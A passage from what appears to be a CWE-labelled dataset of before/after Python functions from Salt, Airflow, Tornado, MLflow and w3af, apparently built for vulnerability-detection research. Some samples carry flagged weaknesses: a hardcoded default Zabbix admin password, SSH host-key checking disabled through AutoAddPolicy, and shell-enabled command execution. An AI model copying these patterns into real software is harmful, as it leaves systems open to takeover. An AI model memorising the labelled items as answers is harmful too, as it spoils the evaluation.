    unique_passwords = [six.text_type(x) for x in passwords if x not in seen and not seen.add(x)]
    unique_passwords.reverse()

    if not unique_passwords:
        ret['comment'] = 'Could not find any Zabbix Admin password setting! See documentation.'
        return ret
    else:
        desired_password = unique_passwords[0]

    unique_passwords.append(default_zabbix_password)

    for pwd in unique_passwords:
        connection_args['_connection_password'] = pwd
        try:
            user_get = __salt__['zabbix.user_get'](default_zabbix_user, **connection_args)
        except SaltException as err:
            if 'Login name or password is incorrect' in six.text_type(err):
                user_get = False
            else:
                raise
        if user_get:
            if pwd == desired_password:
                ret['result'] = True
                ret['comment'] = 'Admin password is correct.'
                return ret
            else:
                break

    if user_get:
        if not dry_run:
            user_update = __salt__['zabbix.user_update'](user_get[0]['userid'],
                                                         passwd=desired_password,
                                                         **connection_args)
            if user_update:
                ret['result'] = True
                ret['changes']['passwd'] = 'changed to \'' + six.text_type(desired_password) + '\''
        else:
            ret['result'] = None
            ret['comment'] = 'Password for user ' + six.text_type(default_zabbix_user) \
                             + ' updated to \'' + six.text_type(desired_password) + '\''

    return ret",CWE-259,saltstack/salt,8f96fa61a7abb8129a7dcfabf216f4ba0b362db5,"def admin_password_present(name, password=None, **kwargs):
    '''
    Initial change of Zabbix Admin password to password taken from one of the sources (only the most prioritized one):
        1. 'password' parameter
        2. '_connection_password' parameter
        3. pillar 'zabbix.password' setting

    1) Tries to log in as Admin with password found in state password parameter or _connection_password
       or pillar or default zabbix password in this precise order, if any of them is present.
    2) If one of above passwords matches, it tries to change the password to the most prioritized one.
    3) If not able to connect with any password then it fails.

    :param name: Just a name of state
    :param password: Optional - desired password for Admin to be set
    :param _connection_user: Optional - Ignored in this state (always assumed 'Admin')
    :param _connection_password: Optional - zabbix password (can also be set in opts or pillar, see module's docstring)
    :param _connection_url: Optional - url of zabbix frontend (can also be set in opts, pillar, see module's docstring)

    .. code-block:: yaml

        # password taken from pillar or _connection_password
        zabbix-admin-password:
            zabbix_user.admin_password_present
    
        # directly set password
        zabbix-admin-password:
            zabbix_user.admin_password_present:
                - password: SECRET_PASS
    '''
    dry_run = __opts__['test']
    default_zabbix_user = 'Admin'
    default_zabbix_password = 'zabbix'
    ret = {'name': name, 'changes': {}, 'result': False, 'comment': ''}

    passwords = []
    connection_args = {}
    connection_args['_connection_user'] = default_zabbix_user
    if '_connection_url' in kwargs:
        connection_args['_connection_url'] = kwargs['_connection_url']

    config_password = __salt__['config.option']('zabbix.password', None)
    if config_password:
        passwords.append(config_password)
    if '_connection_password' in kwargs:
        passwords.append(kwargs['_connection_password'])
    if password:
        passwords.append(password)

    # get unique list in preserved order and reverse it
    seen = set()
    unique_passwords = [six.text_type(x) for x in passwords if x not in seen and not seen.add(x)]
    unique_passwords.reverse()

    if not unique_passwords:
        ret['comment'] = 'Could not find any Zabbix Admin password setting! See documentation.'
        return ret
    else:
        desired_password = unique_passwords[0]

    unique_passwords.append(default_zabbix_password)

    for pwd in unique_passwords:
        connection_args['_connection_password'] = pwd
        try:
            user_get = __salt__['zabbix.user_get'](default_zabbix_user, **connection_args)
        except SaltException as err:
            if 'Login name or password is incorrect' in six.text_type(err):
                user_get = False
            else:
                raise
        if user_get:
            if pwd == desired_password:
                ret['result'] = True
                ret['comment'] = 'Admin password is correct.'
                return ret
            else:
                break

    if user_get:
        if not dry_run:
            user_update = __salt__['zabbix.user_update'](user_get[0]['userid'],
                                                         passwd=desired_password,
                                                         **connection_args)
            if user_update:
                ret['result'] = True
                ret['changes']['passwd'] = 'changed to \'' + six.text_type(desired_password) + '\''
        else:
            ret['result'] = None
            ret['comment'] = 'Password for user ' + six.text_type(default_zabbix_user) \
                             + ' updated to \'' + six.text_type(desired_password) + '\''

    return ret"
,UNKNOWN,UNKNOWN,tests/unit/modules/virt_test.py,1,"def test_mixed_dict_and_list_as_profile_objects(self):

        yaml_config = '''
          virt.nic:
             new-listonly-profile:
                - bridge: br0
                  name: eth0
                - model: virtio
                  name: eth1
                  source: test_network
                  type: network
             new-list-with-legacy-names:
                - eth0:
                     bridge: br0
                - eth1:
                     bridge: br1
                     model: virtio
             non-default-legacy-profile:
                eth0:
                   bridge: br0
                eth1:
                   bridge: br1
                   model: virtio
        '''
        mock_config = yaml.load(yaml_config)
        salt.modules.config.__opts__ = mock_config

        for name in six.iterkeys(mock_config['virt.nic']):
            profile = salt.modules.virt._nic_profile(name, 'kvm')
            self.assertEqual(len(profile), 2)

            interface_attrs = profile[0]
            self.assertIn('source', interface_attrs)
            self.assertIn('type', interface_attrs)
            self.assertIn('name', interface_attrs)
            self.assertIn('model', interface_attrs)
            self.assertEqual(interface_attrs['model'], 'virtio')
            self.assertIn('mac', interface_attrs)
            self.assertTrue(
                re.match('^([0-9A-F]{2}[:-]){5}([0-9A-F]{2})$',
                interface_attrs['mac'], re.I))",CWE-20,saltstack/salt,827541ef3a92471167e3cdd88c8ecbb2926dbae4,"def test_mixed_dict_and_list_as_profile_objects(self):

        yaml_config = '''
          virt.nic:
             new-listonly-profile:
                - bridge: br0
                  name: eth0
                - model: virtio
                  name: eth1
                  source: test_network
                  type: network
             new-list-with-legacy-names:
                - eth0:
                     bridge: br0
                - eth1:
                     bridge: br1
                     model: virtio
             non-default-legacy-profile:
                eth0:
                   bridge: br0
                eth1:
                   bridge: br1
                   model: virtio
        '''
        mock_config = yaml.load(yaml_config)
        salt.modules.config.__opts__ = mock_config

        for name in six.iterkeys(mock_config['virt.nic']):
            profile = salt.modules.virt._nic_profile(name, 'kvm')
            self.assertEqual(len(profile), 2)

            interface_attrs = profile[0]
            self.assertIn('source', interface_attrs)
            self.assertIn('type', interface_attrs)
            self.assertIn('name', interface_attrs)
            self.assertIn('model', interface_attrs)
            self.assertEqual(interface_attrs['model'], 'virtio')
            self.assertIn('mac', interface_attrs)
            self.assertTrue(
                re.match('^([0-9A-F]{2}[:-]){5}([0-9A-F]{2})$',
                interface_attrs['mac'], re.I))"
,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/compute_ssh.py,1,"def _connect_to_instance(self, user, hostname, pkey, proxy_command) -> paramiko.SSHClient:
        self.log.info(""Opening remote connection to host: username=%s, hostname=%s"", user, hostname)
        max_time_to_wait = 10
        for time_to_wait in exponential_sleep_generator(initial=1, maximum=max_time_to_wait):
            try:
                client = _GCloudAuthorizedSSHClient(self._compute_hook)
                # Default is RejectPolicy
                # No known host checking since we are not storing privatekey
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

                client.connect(
                    hostname=hostname,
                    username=user,
                    pkey=pkey,
                    sock=paramiko.ProxyCommand(proxy_command) if proxy_command else None,
                    look_for_keys=False,
                )
                return client
            except paramiko.SSHException:
                # exponential_sleep_generator is an infinite generator, so we need to
                # check the end condition.
                if time_to_wait == max_time_to_wait:
                    raise
            self.log.info(""Failed to connect. Waiting %ds to retry"", time_to_wait)
            time.sleep(time_to_wait)
        raise AirflowException(""Can not connect to instance"")",CWE-295,apache/airflow,a691ab56a6544dfab8b3facbceeeee0993beb7c0,"def _connect_to_instance(self, user, hostname, pkey, proxy_command) -> paramiko.SSHClient:
        self.log.info(""Opening remote connection to host: username=%s, hostname=%s"", user, hostname)
        max_time_to_wait = 10
        for time_to_wait in exponential_sleep_generator(initial=1, maximum=max_time_to_wait):
            try:
                client = _GCloudAuthorizedSSHClient(self._compute_hook)
                # Default is RejectPolicy
                # No known host checking since we are not storing privatekey
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

                client.connect(
                    hostname=hostname,
                    username=user,
                    pkey=pkey,
                    sock=paramiko.ProxyCommand(proxy_command) if proxy_command else None,
                    look_for_keys=False,
                )
                return client
            except paramiko.SSHException:
                # exponential_sleep_generator is an infinite generator, so we need to
                # check the end condition.
                if time_to_wait == max_time_to_wait:
                    raise
            self.log.info(""Failed to connect. Waiting %ds to retry"", time_to_wait)
            time.sleep(time_to_wait)
        raise AirflowException(""Caa not connect to instance"")"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpclient_test.py,0,"def test_chunked_close(self):
        # test case in which chunks spread read-callback processing
        # over several ioloop iterations, but the connection is already closed.
        sock, port = bind_unused_port()
        with closing(sock):
            def write_response(stream, request_data):
                stream.write(b(""""""\
HTTP/1.1 200 OK
Transfer-Encoding: chunked

1
1
1
2
0

"""""").replace(b(""\n""), b(""\r\n"")), callback=stream.close)

            def accept_callback(conn, address):
                # fake an HTTP server using chunked encoding where the final chunks
                # and connection close all happen at once
                stream = IOStream(conn, io_loop=self.io_loop)
                stream.read_until(b(""\r\n\r\n""),
                                  functools.partial(write_response, stream))
            netutil.add_accept_handler(sock, accept_callback, self.io_loop)
            self.http_client.fetch(""http://127.0.0.1:%d/"" % port, self.stop)
            resp = self.wait()
            resp.rethrow()
            self.assertEqual(resp.body, b(""12""))
            self.io_loop.remove_handler(sock.fileno())",CWE-Unknown,tornadoweb/tornado,c04005b7ba52103ab2287fa0c7b92fee1f82ea25,"def test_chunked_close(self):
        # test case in which chunks spread read-callback processing
        # over several ioloop iterations, but the connection is already closed.
        sock, port = bind_unused_port()
        with closing(sock):
            def write_response(stream, request_data):
                stream.write(b(""""""\
HTTP/1.1 200 OK
Transfer-Encoding: chunked

1
1
1
2
0

"""""").replace(b(""\n""), b(""\r\n"")), callback=stream.close)

            def accept_callback(conn, address):
                # fake an HTTP server using chunked encoding where the final chunks
                # and connection close all happen at once
                stream = IOStream(conn, io_loop=self.io_loop)
                stream.read_until(b(""\r\n\r\n""),
                                  functools.partial(write_response, stream))
            netutil.add_accept_handler(sock, accept_callback, self.io_loop)
            self.http_client.fetch(""http://127.0.0.1:%d/"" % port, self.stop)
            resp = self.wait()
            resp.rethrow()
            self.assertEqual(resp.body, b(""12""))"
,UNKNOWN,UNKNOWN,tests/tracking/test_mlflow_artifacts.py,1,"def test_mlflow_artifacts_rest_api_list_artifacts(artifacts_server, tmpdir):
    url = artifacts_server.url
    mlflow.set_tracking_uri(url)
    name = ""rest_api_test""
    api = f""{url}/api/2.0/mlflow/artifacts/list""
    tmp_path_a = tmpdir.join(""a.txt"")
    tmp_path_a.write(""0"")
    tmp_path_b = tmpdir.join(""b.txt"")
    tmp_path_b.write(""1"")
    mlflow.set_experiment(name)
    with mlflow.start_run():
        mlflow.log_artifact(tmp_path_a)
        mlflow.log_artifact(tmp_path_b, ""dir"")

    client = mlflow.tracking.MlflowClient()
    experiment = client.get_experiment_by_name(name)
    run = client.list_run_infos(experiment.experiment_id)
    run_id = run[0].run_id
    artifacts = get_artifacts_from_rest_api(api, run_id)
    assert len(artifacts) >= 1
    expected_contents = {
        ""files"": [
            {""path"": ""a.txt"", ""is_dir"": False, ""file_size"": 1},
            {""path"": ""dir"", ""is_dir"": True},
        ]
    }
    assert artifacts == expected_contents
    nested_contents = get_artifacts_from_rest_api(api, run_id, ""dir"")
    expected_nested = {""files"": [{""path"": ""b.txt"", ""is_dir"": False, ""file_size"": 1}]}
    assert nested_contents == expected_nested",CWE-703,mlflow/mlflow,27f4558441f01842e807ef4c33646a9839a2e727,"def test_mlflow_artifacts_rest_api_list_artifacts(artifacts_server, tmpdir):
    url = artifacts_server.url
    mlflow.set_tracking_uri(url)
    name = ""rest_api_test""
    api = f""{url}/api/2.0/mlflow/artifacts/list""
    tmp_path_a = tmpdir.join(""a.txt"")
    tmp_path_a.write(""0"")
    tmp_path_b = tmpdir.join(""b.txt"")
    tmp_path_b.write(""1"")
    mlflow.set_experiment(name)
    with mlflow.start_run():
        mlflow.log_artifact(tmp_path_a)
        mlflow.log_artifact(tmp_path_b, ""dir"")

    client = mlflow.tracking.MlflowClient()
    experiment = client.get_experiment_by_name(name)
    run = client.list_run_infos(experiment.experiment_id)
    run_id = run[0].run_id

    print(""DIRECT API ARTIFACTS: "")
    print(client.list_artifacts(run_id))
    print(client.list_artifacts(run_id, ""dir""))
    print(""END OF DIRECT API ARTIFACTS"")

    print(f""\n\n RUN_INFO: \n{run}"")
    print(f""\n\n RUN_ID: \n{run_id}"")
    artifacts = get_artifacts_from_rest_api(api, run_id)
    print(f""\nARTIFACTS: \n {artifacts}"")

    assert len(artifacts) >= 1

    expected_contents = {
        ""files"": [
            {""path"": ""a.txt"", ""is_dir"": False, ""file_size"": 1},
            {""path"": ""dir"", ""is_dir"": True},
        ]
    }
    assert artifacts == expected_contents

    nested_contents = get_artifacts_from_rest_api(api, run_id, ""dir"")

    print(f""\n\n NESTED_CONTENTS: {nested_contents}\n\n"")

    expected_nested = {""files"": [{""path"": ""b.txt"", ""is_dir"": False, ""file_size"": 1}]}
    assert nested_contents == expected_nested"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_dags.py,1,"def test_dag_details(
        self,
        test_client,
        query_params,
        dag_id,
        expected_status_code,
        dag_display_name,
        start_date,
        owner_links,
    ):
        response = test_client.get(f""/dags/{dag_id}/details"", params=query_params)
        assert response.status_code == expected_status_code
        if expected_status_code != 200:
            return

        # Match expected and actual responses below.
        res_json = response.json()
        last_parsed = res_json[""last_parsed""]
        last_parsed_time = res_json[""last_parsed_time""]
        file_token = res_json[""file_token""]
        expected = {
            ""bundle_name"": ""dag_maker"",
            ""bundle_version"": None,
            ""asset_expression"": None,
            ""catchup"": False,
            ""concurrency"": 16,
            ""dag_id"": dag_id,
            ""dag_display_name"": dag_display_name,
            ""dag_run_timeout"": None,
            ""default_args"": {
                ""depends_on_past"": False,
                ""retries"": 1,
                ""retry_delay"": ""PT5M"",
            },
            ""description"": None,
            ""doc_md"": ""details"",
            ""deadline"": None,
            ""end_date"": None,
            ""fileloc"": __file__,
            ""file_token"": file_token,
            ""has_import_errors"": False,
            ""has_task_concurrency_limits"": True,
            ""is_stale"": False,
            ""is_paused"": False,
            ""is_paused_upon_creation"": None,
            ""latest_dag_version"": {
                ""bundle_name"": ""dag_maker"",
                ""bundle_url"": None,
                ""bundle_version"": None,
                ""created_at"": mock.ANY,
                ""dag_id"": ""test_dag2"",
                ""id"": mock.ANY,
                ""version_number"": 1,
                ""dag_display_name"": dag_display_name,
            },
            ""last_expired"": None,
            ""last_parsed"": last_parsed,
            ""last_parsed_time"": last_parsed_time,
            ""max_active_runs"": 16,
            ""max_active_tasks"": 16,
            ""max_consecutive_failed_dag_runs"": 0,
            ""next_dagrun_data_interval_end"": None,
            ""next_dagrun_data_interval_start"": None,
            ""next_dagrun_logical_date"": None,
            ""next_dagrun_run_after"": None,
            ""owners"": [""airflow""],
            ""owner_links"": {},
            ""params"": {
                ""foo"": {
                    ""__class"": ""airflow.sdk.definitions.param.Param"",
                    ""description"": None,
                    ""schema"": {},
                    ""value"": 1,
                }
            },
            ""relative_fileloc"": ""test_dags.py"",
            ""render_template_as_native_obj"": False,
            ""timetable_summary"": None,
            ""start_date"": start_date,
            ""tags"": [],
            ""template_search_path"": None,
            ""timetable_description"": ""Never, external triggers only"",
            ""timezone"": UTC_JSON_REPR,
        }
        assert res_json == expected",CWE-703,apache/airflow,7c31bb5a9a4ae92840583ab34b2956c427d5f59a,"def test_dag_details(
        self,
        test_client,
        query_params,
        dag_id,
        expected_status_code,
        dag_display_name,
        start_date,
        owner_links,
    ):
        response = test_client.get(f""/dags/{dag_id}/details"", params=query_params)
        assert response.status_code == expected_status_code
        if expected_status_code != 200:
            return

        # Match expected and actual responses below.
        res_json = response.json()
        last_parsed = res_json[""last_parsed""]
        last_parsed_time = res_json[""last_parsed_time""]
        file_token = res_json[""file_token""]
        expected = {
            ""bundle_name"": ""dag_maker"",
            ""bundle_version"": None,
            ""asset_expression"": None,
            ""catchup"": False,
            ""concurrency"": 16,
            ""dag_id"": dag_id,
            ""dag_display_name"": dag_display_name,
            ""dag_run_timeout"": None,
            ""default_args"": {
                ""depends_on_past"": False,
                ""retries"": 1,
                ""retry_delay"": ""PT5M"",
            },
            ""description"": None,
            ""doc_md"": ""details"",
            ""end_date"": None,
            ""fileloc"": __file__,
            ""file_token"": file_token,
            ""has_import_errors"": False,
            ""has_task_concurrency_limits"": True,
            ""is_stale"": False,
            ""is_paused"": False,
            ""is_paused_upon_creation"": None,
            ""latest_dag_version"": {
                ""bundle_name"": ""dag_maker"",
                ""bundle_url"": None,
                ""bundle_version"": None,
                ""created_at"": mock.ANY,
                ""dag_id"": ""test_dag2"",
                ""id"": mock.ANY,
                ""version_number"": 1,
                ""dag_display_name"": dag_display_name,
            },
            ""last_expired"": None,
            ""last_parsed"": last_parsed,
            ""last_parsed_time"": last_parsed_time,
            ""max_active_runs"": 16,
            ""max_active_tasks"": 16,
            ""max_consecutive_failed_dag_runs"": 0,
            ""next_dagrun_data_interval_end"": None,
            ""next_dagrun_data_interval_start"": None,
            ""next_dagrun_logical_date"": None,
            ""next_dagrun_run_after"": None,
            ""owners"": [""airflow""],
            ""owner_links"": {},
            ""params"": {
                ""foo"": {
                    ""__class"": ""airflow.sdk.definitions.param.Param"",
                    ""description"": None,
                    ""schema"": {},
                    ""value"": 1,
                }
            },
            ""relative_fileloc"": ""test_dags.py"",
            ""render_template_as_native_obj"": False,
            ""timetable_summary"": None,
            ""start_date"": start_date,
            ""tags"": [],
            ""template_search_path"": None,
            ""timetable_description"": ""Never, external triggers only"",
            ""timezone"": UTC_JSON_REPR,
        }
        assert res_json == expected"
,UNKNOWN,UNKNOWN,salt/modules/nspawn.py,1,"def _run(name,
         cmd,
         output=None,
         no_start=False,
         stdin=None,
         python_shell=True,
         preserve_state=False,
         output_loglevel='debug',
         ignore_retcode=False,
         use_vt=False,
         keep_env=None):
    '''
    Common logic for nspawn.run functions
    '''
    orig_state = state(name)
    exc = None
    try:
        ret = __salt__['container_resource.run'](
            name,
            cmd,
            container_type=__virtualname__,
            exec_driver=EXEC_DRIVER,
            output=output,
            no_start=no_start,
            stdin=stdin,
            python_shell=python_shell,
            output_loglevel=output_loglevel,
            ignore_retcode=ignore_retcode,
            use_vt=use_vt,
            keep_env=keep_env)
    finally:
        # Make sure we stop the container if necessary, even if an exception
        # was raised.
        if preserve_state \
                and orig_state == 'stopped' \
                and state(name) != 'stopped':
            stop(name)

    if output in (None, 'all'):
        return ret
    else:
        return ret[output]",CWE-78,saltstack/salt,18b4882c49080f2c11505eacefd9b4155783a740,"def _run(name,
         cmd,
         output=None,
         no_start=False,
         stdin=None,
         python_shell=True,
         preserve_state=False,
         output_loglevel='debug',
         ignore_retcode=False,
         use_vt=False,
         keep_env=None):
    '''
    Common logic for nspawn.run functions
    '''
    orig_state = state(name)
    exc = None
    try:
        ret = __salt__['container_resource.run'](
            name,
            cmd,
            container_type=__virtualname__,
            exec_driver=EXEC_DRIVER,
            output=output,
            no_start=no_start,
            stdin=stdin,
            python_shell=python_shell,
            output_loglevel=output_loglevel,
            ignore_retcode=ignore_retcode,
            use_vt=use_vt,
            keep_env=keep_env)
    except Exception:
        raise
    finally:
        # Make sure we stop the container if necessary, even if an exception
        # was raised.
        if preserve_state \
                and orig_state == 'stopped' \
                and state(name) != 'stopped':
            stop(name)

    if output in (None, 'all'):
        return ret
    else:
        return ret[output]"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/lazy_sequence.py,0,"def __len__(self) -> int:
        if self._len is None:
            from airflow.sdk.execution_time.comms import ErrorResponse, GetXComCount, XComCountResponse
            from airflow.sdk.execution_time.task_runner import SUPERVISOR_COMMS

            task = self._xcom_arg.operator

            msg = SUPERVISOR_COMMS.send(
                GetXComCount(
                    key=self._xcom_arg.key,
                    dag_id=task.dag_id,
                    run_id=self._ti.run_id,
                    task_id=task.task_id,
                ),
            )
            if isinstance(msg, ErrorResponse):
                raise RuntimeError(msg)
            if not isinstance(msg, XComCountResponse):
                raise TypeError(f""Got unexpected response to GetXComCount: {msg!r}"")
            self._len = msg.len
        return self._len",CWE-Unknown,apache/airflow,accfbc3dc06b73cc0ae3d2d77454ff5669788ae5,"def __len__(self) -> int:
        if self._len is None:
            from airflow.sdk.execution_time.comms import ErrorResponse, GetXComCount, XComCountResponse
            from airflow.sdk.execution_time.task_runner import SUPERVISOR_COMMS

            task = self._xcom_arg.operator

            SUPERVISOR_COMMS.send_request(
                log=log,
                msg=GetXComCount(
                    key=self._xcom_arg.key,
                    dag_id=task.dag_id,
                    run_id=self._ti.run_id,
                    task_id=task.task_id,
                ),
            )
            msg = SUPERVISOR_COMMS.get_message()
            if isinstance(msg, ErrorResponse):
                raise RuntimeError(msg)
            if not isinstance(msg, XComCountResponse):
                raise TypeError(f""Got unexpected response to GetXComCount: {msg!r}"")
            self._len = msg.len
        return self._len"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/request/factory.py,0,"def create_fuzzable_requests(resp, request=None, add_self=True):
    """"""
    Generates the fuzzable requests based on an HTTP response instance.

    :param resp: An HTTPResponse instance.
    :param request: The HTTP request that generated the resp
    :param add_self: If I should add the current HTTP request
                         (:param request) to the result on not.

    :return: A list of fuzzable requests.
    """"""
    res = []

    # Get the cookie!
    cookie_obj = _create_cookie(resp)

    # Get the request headers, this is very useful for setting headers which
    # were sent in a previous HTTP request
    req_headers = Headers() if request is None else request.get_headers()

    # Create the fuzzable request that represents the request object
    # passed as parameter
    if add_self:
        qsr = QsRequest(resp.get_uri(), headers=req_headers, cookie=cookie_obj)
        res.append(qsr)

    if cf.cf.get('fuzzable_headers'):
        try:
            hreq = HeaderRequest.from_parts(resp.get_uri(), 'GET', '',
                                            req_headers)
            res.append(hreq)
        except ValueError:
            pass

    if cf.cf.get('fuzz_cookies'):
        try:
            hreq = CookieRequest.from_parts(resp.get_uri(), 'GET', '',
                                            req_headers)
            res.append(hreq)
        except ValueError:
            pass

    # If response was a 30X (i.e. a redirect) then include the
    # corresponding fuzzable request.
    resp_headers = resp.get_headers()

    for url_header_name in URL_HEADERS:
        url_header_value, _ = resp_headers.iget(url_header_name, '')
        if url_header_value:
            url = smart_unicode(url_header_value, encoding=resp.charset)
            try:
                absolute_location = resp.get_url().url_join(url)
            except ValueError:
                msg = 'The application sent a ""%s"" redirect that w3af' \
                      ' failed to correctly parse as an URL, the header' \
                      ' value was: ""%s""'
                om.out.debug(msg % (url_header_name, url))
            else:
                qsr = QsRequest(absolute_location,
                                headers=req_headers,
                                cookie=cookie_obj)
                res.append(qsr)

    # Try to find forms in the document
    try:
        dp = parser_cache.dpc.get_document_parser_for(resp)
    except BaseFrameworkException:
        # Failed to find a suitable parser for the document
        form_list = []
    else:
        form_list = dp.get_forms()
        same_domain = lambda f: f.get_action().get_domain() == \
                                resp.get_url().get_domain()
        form_list = [f for f in form_list if same_domain(f)]

    if form_list:
        # Create one PostDataRequest for each form variant
        mode = cf.cf.get('form_fuzzing_mode')
        for form in form_list:
            for variant in form.get_variants(mode):
                if form.get_method().upper() == 'POST':
                    r = PostDataRequest(variant.get_action(),
                                        method=variant.get_method(),
                                        headers=req_headers,
                                        cookie=cookie_obj,
                                        post_data=variant)
                else:
                    # The default is a GET request
                    r = QsRequest(variant.get_action(),
                                  method=variant.get_method(),
                                  headers=req_headers,
                                  cookie=cookie_obj)
                    r.set_dc(variant)

                res.append(r)
    return res",,andresriancho/w3af,3316b4fbfdef61e27d2ed43b86a6c9c6911af044,"def create_fuzzable_requests(resp, request=None, add_self=True):
    """"""
    Generates the fuzzable requests based on an HTTP response instance.

    :param resp: An HTTPResponse instance.
    :param request: The HTTP request that generated the resp
    :param add_self: If I should add the current HTTP request
                         (:param request) to the result on not.

    :return: A list of fuzzable requests.
    """"""
    res = []

    # Get the cookie!
    cookie_obj = _create_cookie(resp)

    # Get the request headers, this is very useful for setting headers which
    # were sent in a previous HTTP request
    req_headers = Headers() if request is None else request.get_headers()

    # Create the fuzzable request that represents the request object
    # passed as parameter
    if add_self:
        qsr = QsRequest(resp.get_uri(), headers=req_headers, cookie=cookie_obj)
        res.append(qsr)

        greq = create_fuzzable_request_from_request(request)
        res.append(greq)

    if cf.cf.get('fuzzable_headers'):
        try:
            hreq = HeaderRequest.from_parts(resp.get_uri(), 'GET', '',
                                            req_headers)
            res.append(hreq)
        except ValueError:
            pass

    if cf.cf.get('fuzz_cookies'):
        try:
            hreq = CookieRequest.from_parts(resp.get_uri(), 'GET', '',
                                            req_headers)
            res.append(hreq)
        except ValueError:
            pass

    # If response was a 30X (i.e. a redirect) then include the
    # corresponding fuzzable request.
    resp_headers = resp.get_headers()

    for url_header_name in URL_HEADERS:
        url_header_value, _ = resp_headers.iget(url_header_name, '')
        if url_header_value:
            url = smart_unicode(url_header_value, encoding=resp.charset)
            try:
                absolute_location = resp.get_url().url_join(url)
            except ValueError:
                msg = 'The application sent a ""%s"" redirect that w3af' \
                      ' failed to correctly parse as an URL, the header' \
                      ' value was: ""%s""'
                om.out.debug(msg % (url_header_name, url))
            else:
                qsr = QsRequest(absolute_location,
                                headers=req_headers,
                                cookie=cookie_obj)
                res.append(qsr)

    # Try to find forms in the document
    try:
        dp = parser_cache.dpc.get_document_parser_for(resp)
    except BaseFrameworkException:
        # Failed to find a suitable parser for the document
        form_list = []
    else:
        form_list = dp.get_forms()
        same_domain = lambda f: f.get_action().get_domain() == \
                                resp.get_url().get_domain()
        form_list = [f for f in form_list if same_domain(f)]

    if form_list:
        # Create one PostDataRequest for each form variant
        mode = cf.cf.get('form_fuzzing_mode')
        for form in form_list:
            for variant in form.get_variants(mode):
                if form.get_method().upper() == 'POST':
                    r = PostDataRequest(variant.get_action(),
                                        method=variant.get_method(),
                                        headers=req_headers,
                                        cookie=cookie_obj,
                                        post_data=variant)
                else:
                    # The default is a GET request
                    r = QsRequest(variant.get_action(),
                                  method=variant.get_method(),
                                  headers=req_headers,
                                  cookie=cookie_obj)
                    r.set_dc(variant)

                res.append(r)
    return res"
,UNKNOWN,UNKNOWN,tests/langchain/test_langchain_model_export.py,1,"def test_predict_with_builtin_pyfunc_chat_conversion(spark):
    input_example = {
        ""messages"": [
            {""role"": ""system"", ""content"": ""You are a helpful assistant.""},
            {""role"": ""assistant"", ""content"": ""What would you like to ask?""},
            {""role"": ""user"", ""content"": ""Who owns MLflow?""},
        ]
    }
    content = (
        ""system: You are a helpful assistant.\n""
        ""ai: What would you like to ask?\n""
        ""human: Who owns MLflow?""
    )
    example_output = {
        ""id"": ""some_id"",
        ""object"": ""chat.completion"",
        ""created"": 1677858242,
        ""model"": ""some_model"",
        ""choices"": [
            {
                ""index"": 0,
                ""message"": {
                    ""role"": ""assistant"",
                    ""content"": content,
                },
                ""finish_reason"": ""stop"",
            }
        ],
        ""usage"": {
            ""prompt_tokens"": 13,
            ""completion_tokens"": 7,
            ""total_tokens"": 20,
        },
    }
    signature = infer_signature(model_input=input_example, model_output=example_output)

    chain = ChatModel() | StrOutputParser()
    assert chain.invoke([HumanMessage(content=""Who owns MLflow?"")]) == ""human: Who owns MLflow?""
    with pytest.raises(ValueError, match=""Invalid input type""):
        chain.invoke(input_example)

    with mlflow.start_run():
        model_info = mlflow.langchain.log_model(
            chain, ""model_path"", signature=signature, input_example=input_example
        )

    loaded_model = mlflow.langchain.load_model(model_info.model_uri)
    assert (
        loaded_model.invoke([HumanMessage(content=""Who owns MLflow?"")]) == ""human: Who owns MLflow?""
    )

    pyfunc_loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
    expected_chat_response = {
        ""id"": None,
        ""object"": ""chat.completion"",
        ""created"": 1677858242,
        ""model"": None,
        ""choices"": [
            {
                ""index"": 0,
                ""message"": {
                    ""role"": ""assistant"",
                    ""content"": content,
                },
                ""finish_reason"": None,
            }
        ],
        ""usage"": {
            ""prompt_tokens"": None,
            ""completion_tokens"": None,
            ""total_tokens"": None,
        },
    }

    with mock.patch(""time.time"", return_value=1677858242):
        result1 = pyfunc_loaded_model.predict(input_example)
        result1[0][""id""] = None
        assert result1 == [expected_chat_response]
        result2 = pyfunc_loaded_model.predict([input_example, input_example])
        result2[0][""id""] = None
        result2[1][""id""] = None
        assert result2 == [
            expected_chat_response,
            expected_chat_response,
        ]

    with pytest.raises(MlflowException, match=""Invalid input type""):
        pyfunc_loaded_model.predict({""messages"": [{""role"": ""foobar"", ""content"": ""test content""}]})",CWE-703,mlflow/mlflow,269730e5df2f887878cf9c4f06e94a0915bdc20a,"def test_predict_with_builtin_pyfunc_chat_conversion(spark):
    input_example = {
        ""messages"": [
            {""role"": ""system"", ""content"": ""You are a helpful assistant.""},
            {""role"": ""assistant"", ""content"": ""What would you like to ask?""},
            {""role"": ""user"", ""content"": ""Who owns MLflow?""},
        ]
    }
    content = (
        ""system: You are a helpful assistant.\n""
        ""ai: What would you like to ask?\n""
        ""human: Who owns MLflow?""
    )
    example_output = {
        ""id"": ""some_id"",
        ""object"": ""chat.completion"",
        ""created"": 1677858242,
        ""model"": ""some_model"",
        ""choices"": [
            {
                ""index"": 0,
                ""message"": {
                    ""role"": ""assistant"",
                    ""content"": content,
                },
                ""finish_reason"": ""stop"",
            }
        ],
        ""usage"": {
            ""prompt_tokens"": 13,
            ""completion_tokens"": 7,
            ""total_tokens"": 20,
        },
    }
    signature = infer_signature(model_input=input_example, model_output=example_output)

    chain = ChatModel() | StrOutputParser()
    assert chain.invoke([HumanMessage(content=""Who owns MLflow?"")]) == ""human: Who owns MLflow?""
    with pytest.raises(ValueError, match=""Invalid input type""):
        chain.invoke(input_example)

    with mlflow.start_run():
        model_info = mlflow.langchain.log_model(
            chain, ""model_path"", signature=signature, input_example=input_example
        )

    loaded_model = mlflow.langchain.load_model(model_info.model_uri)
    assert (
        loaded_model.invoke([HumanMessage(content=""Who owns MLflow?"")]) == ""human: Who owns MLflow?""
    )

    pyfunc_loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
    expected_chat_response = {
        ""id"": None,
        ""object"": ""chat.completion"",
        ""created"": 1677858242,
        ""model"": None,
